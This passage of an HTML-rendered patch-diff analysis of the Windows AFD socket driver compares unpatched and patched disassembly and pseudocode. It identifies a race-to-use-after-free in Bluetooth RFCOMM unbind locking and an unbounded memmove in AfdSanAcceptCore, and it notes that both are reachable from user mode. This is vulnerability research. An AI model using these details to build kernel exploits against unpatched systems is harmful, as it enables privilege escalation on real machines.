&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FAE3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FAEB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdReallowUnbind&lt;/span&gt;

&lt;span class="c1"&gt;; === PATCHED: no feature call; lock is unconditional ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FA72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; feature call removed&lt;/span&gt;
&lt;span class="c1"&gt;; ... (same AFD magic/flag short-circuits) ...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FAA5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdPreventUnbind&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; UNCONDITIONAL&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FAAA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FAB8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FB2E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IofCallDriver&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; now always preceded by AfdPreventUnbind&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FB56&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeWaitForSingleObject&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FB86&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C005FB8E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdReallowUnbind&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; UNCONDITIONAL (when the lock was taken)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;Evidence — &lt;code&gt;AfdGetInformation&lt;/code&gt; deliver-status path&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; === UNPATCHED: lock gated behind Feature_51867961 ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0039BC6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_51867961__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0039BCB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0039BCD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C0039C79&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; feature OFF -&amp;gt; jump past AfdPreventUnbind&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0039C09&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdPreventUnbind&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; feature-ON path only&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0039C58&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdIssueDeviceControl&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; deliver-status I/O on FileObject *(rbx+0x18)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0039C72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdReallowUnbind&lt;/span&gt;
&lt;span class="c1"&gt;; --- feature-OFF path issues the same device control with no lock ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0039C9D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdIssueDeviceControl&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; unprotected&lt;/span&gt;

&lt;span class="c1"&gt;; === PATCHED: no feature call; lock unconditional ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0039C0C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdPreventUnbind&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; UNCONDITIONAL&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0039C5B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdIssueDeviceControl&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0039C75&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdReallowUnbind&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;AfdSocketTransferBegin&lt;/code&gt; carries the byte-for-byte same change: unpatched gates &lt;code&gt;AfdPreventUnbind&lt;/code&gt; (&lt;code&gt;0x1C005FD02&lt;/code&gt;) / &lt;code&gt;AfdReallowUnbind&lt;/code&gt; (&lt;code&gt;0x1C005FD3B&lt;/code&gt;) behind &lt;code&gt;Feature_831225147__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;0x1C005FCC2&lt;/code&gt;, &lt;code&gt;0x1C005FD2A&lt;/code&gt;) around its &lt;code&gt;IofCallDriver&lt;/code&gt; (&lt;code&gt;0x1C005FDD5&lt;/code&gt;) / &lt;code&gt;KeWaitForSingleObject&lt;/code&gt; (&lt;code&gt;0x1C005FDFD&lt;/code&gt;); patched calls &lt;code&gt;AfdPreventUnbind&lt;/code&gt; (&lt;code&gt;0x1C005FCE5&lt;/code&gt;) unconditionally and drops the feature calls.&lt;/p&gt;
&lt;h4&gt;Direction and classification&lt;/h4&gt;
&lt;p&gt;The direction is unambiguous: unpatched takes the unbind lock only conditionally (weaker), patched takes it always (stricter). The demonstrable defect is the missing synchronization (CWE-362); its consequence is a use-after-free of the connection's device/file object if a concurrent &lt;code&gt;AfdUnbind&lt;/code&gt; wins the race (CWE-416).&lt;/p&gt;
&lt;h4&gt;Reachability&lt;/h4&gt;
&lt;p&gt;All three functions self-gate on &lt;code&gt;RtlEqualUnicodeString(L"\Device\BTHMS_RFCOMM")&lt;/code&gt;, i.e. they only run for sockets backed by the Bluetooth RFCOMM transport, and are entered through AFD's IOCTL processing from a user-mode socket handle (&lt;code&gt;AfdGetInformation&lt;/code&gt; via the AFD_GET_INFO / &lt;code&gt;IOCTL_AFD_GET_INFORMATION&lt;/code&gt; deliver-status query). This makes the paths attacker-reachable from user mode for that transport. As with the primary finding, the end-to-end IOCTL dispatch was not traced through the full dispatch table, and exploitation additionally requires winning the race against a concurrent unbind; the severity reflects that this is a genuine but not-fully-traced kernel memory-safety fix.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;AfdSanAcceptCore&lt;/code&gt; @ &lt;code&gt;0x1C007C0CC&lt;/code&gt; — before/after&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// =================== UNPATCHED (unbounded) ===================&lt;/span&gt;
&lt;span class="n"&gt;v23&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="c1"&gt;// output-buffer length: *( *(IRP+0xB8) + 0x10 )&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v23&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// ONLY a zero check -- no upper bound&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// address length word at +0x14 of the connection data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v25&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_MDL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// caller output MDL&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// transport flag at +0xAC (kernel-transport variant)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;LOWORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ... map the MDL ...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v30&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v29&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v28&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v40&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// size = *(+0x14) + 2&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Irql&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v43&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt;                                        &lt;/span&gt;&lt;span class="c1"&gt;// user-transport variant&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ... map the MDL ...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v31&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;8L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// size = *(+0x14) + 8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// ancillary copy, gated only by *(rbx+0x18) != 0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v40&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v40&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v34&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// unbounded&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
